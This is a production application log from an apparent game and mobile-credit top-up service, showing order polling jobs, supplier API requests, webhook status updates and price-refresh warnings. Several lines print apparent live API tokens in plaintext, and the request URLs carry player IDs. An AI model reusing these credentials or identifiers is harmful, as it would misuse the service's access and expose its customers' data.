[2026-03-24 09:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Hn0820ICOdJFPoo5AYzEaOyrzPerowrK","execution_time":"2026-03-24 09:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02"} 
[2026-03-24 09:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","total_operations":1,"sites_count":1} 
[2026-03-24 09:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:48:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:48:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ha24fVnRrP8F2aFnocBKoi9AEAGyVUeP","execution_time":"2026-03-24 09:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:48:30] production.INFO: Constructing job for order: 178539  
[2026-03-24 09:48:32] production.INFO: Handling job for order: 178539  
[2026-03-24 09:48:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 09:48:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:48:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=74fd982d-9da8-4b19-b0b5-75f61331efe1&Player_ID=557470092  
[2026-03-24 09:48:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=74fd982d-9da8-4b19-b0b5-75f61331efe1&Player_ID=557470092","has_body":false} 
[2026-03-24 09:48:33] production.INFO: Operation sent successfully {"operation_id":163470,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RLR-1774334913","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 09:48:33"}},"processed_data":{"order_number":"ORD-RLR-1774334913","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 09:48:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RLR-1774334913","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 09:48:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-RLR-1774334913","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 09:48:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 09:48:41] production.INFO: SendAcceptReject: Notification queued {"user_id":1427,"notification_type":"order_approved","reference_id":178539} 
[2026-03-24 09:48:41] production.INFO: Order updated successfully. Order ID: 178539, Status: completed  
[2026-03-24 09:48:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RLR-1774334913","status":"completed","codes_count":0} 
[2026-03-24 09:48:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1427  
[2026-03-24 09:50:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00"} 
[2026-03-24 09:50:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","total_operations":1,"sites_count":1} 
[2026-03-24 09:50:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:50:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:50:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:50:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:50:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:50:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:50:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yRSjeMnzt8v0B37XuVHTQmYMT0G0PhfN","execution_time":"2026-03-24 09:50:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:50:00] production.INFO: Executing GetProducts task...  
[2026-03-24 09:50:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:50:00] production.INFO: Executing GetProducts task...  
[2026-03-24 09:50:02] production.INFO: async() رجع: true  
[2026-03-24 09:50:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:50:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:50:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:50:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:51:27] production.INFO: Constructing job for order: 178540  
[2026-03-24 09:51:28] production.INFO: Handling job for order: 178540  
[2026-03-24 09:51:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:51:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:51:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7c9ccaa4-0ab6-4723-83c9-de5984a1b341&Player_ID=0940540199  
[2026-03-24 09:51:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7c9ccaa4-0ab6-4723-83c9-de5984a1b341&Player_ID=0940540199","has_body":false} 
[2026-03-24 09:51:28] production.INFO: Operation sent successfully {"operation_id":163471,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EVr-1774335088","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:51:28"}},"processed_data":{"order_number":"ORD-EVr-1774335088","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:51:29] production.INFO: Constructing job for order: 178541  
[2026-03-24 09:51:31] production.INFO: Handling job for order: 178541  
[2026-03-24 09:51:32] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 09:51:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 09:51:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=53c4f3d6-5a66-4cc1-baef-674ff00c0852&Player_ID=0940540199  
[2026-03-24 09:51:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=53c4f3d6-5a66-4cc1-baef-674ff00c0852&Player_ID=0940540199","has_body":false} 
[2026-03-24 09:51:32] production.INFO: Operation sent successfully {"operation_id":163472,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-w1E-1774335092","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 09:51:32"}},"processed_data":{"order_number":"ORD-w1E-1774335092","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 09:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02"} 
[2026-03-24 09:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","total_operations":3,"sites_count":2} 
[2026-03-24 09:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-EVr-1774335088","ORD-w1E-1774335092"]} 
[2026-03-24 09:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 09:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 09:52:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 09:52:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"count":2} 
[2026-03-24 09:52:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"count":2} 
[2026-03-24 09:52:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"user_id":43,"notification_type":"order_approved","reference_id":178540} 
[2026-03-24 09:52:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"user_id":43,"notification_type":"order_approved","reference_id":178541} 
[2026-03-24 09:52:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 09:52:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 09:52:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"processed":2,"errors":0} 
[2026-03-24 09:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472,"processed":2,"errors":0} 
[2026-03-24 09:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yX4nPdmgJQMe4R6eMnPkD43MftIyFnh5","execution_time":"2026-03-24 09:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-w1E-1774335092","operation_id":163472} 
[2026-03-24 09:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 09:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 09:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03"} 
[2026-03-24 09:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","total_operations":1,"sites_count":1} 
[2026-03-24 09:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9rknnerAFRLJ9iSKF0KHZyVo14Dh5ChB","execution_time":"2026-03-24 09:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 09:55:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 09:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 09:55:02] production.INFO: async() رجع: true  
[2026-03-24 09:55:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 09:55:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 09:55:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 09:55:03] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 09:56:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00"} 
[2026-03-24 09:56:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","total_operations":1,"sites_count":1} 
[2026-03-24 09:56:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:56:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:56:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:56:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:56:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:56:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:56:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hvVqNLANFpVbgTI6UfNUQOTEt0WrJmFI","execution_time":"2026-03-24 09:56:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:58:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01"} 
[2026-03-24 09:58:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","total_operations":1,"sites_count":1} 
[2026-03-24 09:58:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 09:58:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 09:58:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 09:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:58:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 09:58:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 09:58:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"EGSQeqTixFfZc9Lphgw2gnSUxfrld7A0","execution_time":"2026-03-24 09:58:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 09:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1765  
[2026-03-24 09:59:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1765  
[2026-03-24 10:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01"} 
[2026-03-24 10:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7RK8O0r5JvBwhIDMm2w4O3MEMjWIHAMu","execution_time":"2026-03-24 10:00:01","total_operations":1,"sites_count":1} 
